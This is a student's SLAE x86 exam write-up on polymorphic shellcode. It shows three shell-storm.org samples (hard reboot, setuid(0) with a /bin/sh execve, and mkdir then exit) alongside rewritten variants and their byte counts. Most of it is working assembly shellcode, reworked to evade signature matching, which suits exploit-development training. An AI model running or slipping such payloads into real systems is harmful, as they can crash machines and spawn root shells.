SLAE x86 Exam - Assignment 6
Assignment #6 - Polymorphic shellcode
Student ID: PA-7854
The assignment indications are as follows:
- Take up at least 3 shellcode samples from shell-storm.org and create polymorphic versions of them
- It cannot be larger than 150%
- Bonus if it ends up to be shorter
The code is available at my github repo
The very first shellcode i choose is Linux/x86 - hard reboot (without any message) and data will be lost - 29 bytes.
1. Hard reboot
Comments are in at&t
syntax which i don’t like, so i just converted it to intel
syntax:
00000000 31C0 xor eax,eax
00000002 B058 mov al,0x58
00000004 BBADDEE1FE mov ebx,0xfee1dead
00000009 B969191228 mov ecx,0x28121969
0000000E BA67452301 mov edx,0x1234567
00000013 CD80 int 0x80
00000015 31C0 xor eax,eax
00000017 B001 mov al,0x1
00000019 31DB xor ebx,ebx
0000001B CD80 int 0x80
It simply executes the reboot
syscall, which is 0x58
(88 in decimal), with the magic1
(0xfee1dead) and magic2
(0x28121969) set, to avoid failing. Also, the command to be executed is RB_AUTOBOOT
(0x1234567), which prints a message and restarts immediately.
My polymorphic version of this is as follows, with each change explained with a comment:
global _start
section .text
_start:
xor esi, esi ; clear out ESI, instead of EAX
mov al,0x58
mov ebx,0xfee1dead
mov ecx,0x28121969
mov edx,0x1234567
int 0x80
mov eax, esi ; Clear out EAX by copying ESI
inc eax ; Increment EAX by 1
xor ebx,ebx
int 0x80
--snip--
Shellcode Length: 28
28 bytes length! That’s awesome, it’s one byte smaller than the original shellcode. Let’s pick up another one.
2. setuid(0) & /bin/sh
The second one will be Linux/x86 - setuid(0) & execve(/bin/sh,0,0) - 28 bytes.
This is the original shellcode:
00000000 31DB xor ebx,ebx
00000002 8D4317 lea eax,[ebx+0x17]
00000005 99 cdq
00000006 CD80 int 0x80
00000008 31C9 xor ecx,ecx
0000000A 51 push ecx
0000000B 686E2F7368 push dword 0x68732f6e
00000010 682F2F6269 push dword 0x69622f2f
00000015 8D410B lea eax,[ecx+0xb]
00000018 89E3 mov ebx,esp
0000001A CD80 int 0x80
It just executes the setuid
syscall (0x17
loaded into EAX), followed by the execve
syscall (0xb
) with the command /bin/sh
.
This is my polymorphic version of it, again commenting the changes:
xor ebx,ebx
mul ebx ; clear out EAX
mov al, 0x17 ; put 0x17 in the lower bits of EAX
int 0x80
mul ebx ; clear out EAX
xor ecx, ecx
push ecx
push 0x68732f6e
push 0x69622f2f
mov al, 0xb ; put 0xb in the lower bits of EAX
mov ebx,esp
int 0x80
--snip--
Shellcode length: 29 bytes
Great. This one was 29 bytes, meaning 1 byte bigger than the original one, still within the limits.
3. mkdir
The third and last shellcode to create a polymorphic version of isLinux/x86 - mkdir() & exit() - 36 bytes.
This is the disassembled code:
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call dword 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64 fs
00000023 23 db 0x23
As the comment states, it creates a folder named hacked and exit grafecully.
This too is using the technique JMP-CALL-POP
.
Here is my version, changes made are commented next to each instruction:
cdq ; clear out EDX
mov eax, edx ; set EAX = 0
xor ecx, ecx ; clear out ECX
push ecx ; push NULL byte, next string terminator
push dword 0x64646465 ; ddde
push dword 0x6b636168 ; kcah
mov al,0x27 ; mkdir syscall = 39 (decimal)
mov ebx, esp ; pointer to string
mov cx, 0x1ed ; mode
int 0x80
mov al,0x1
xor ebx,ebx
int 0x80
--snip--
Shellcode Length: 32
Awesome, this one is smaller than the original by 4 bytes!
With this, we finish up this assignment.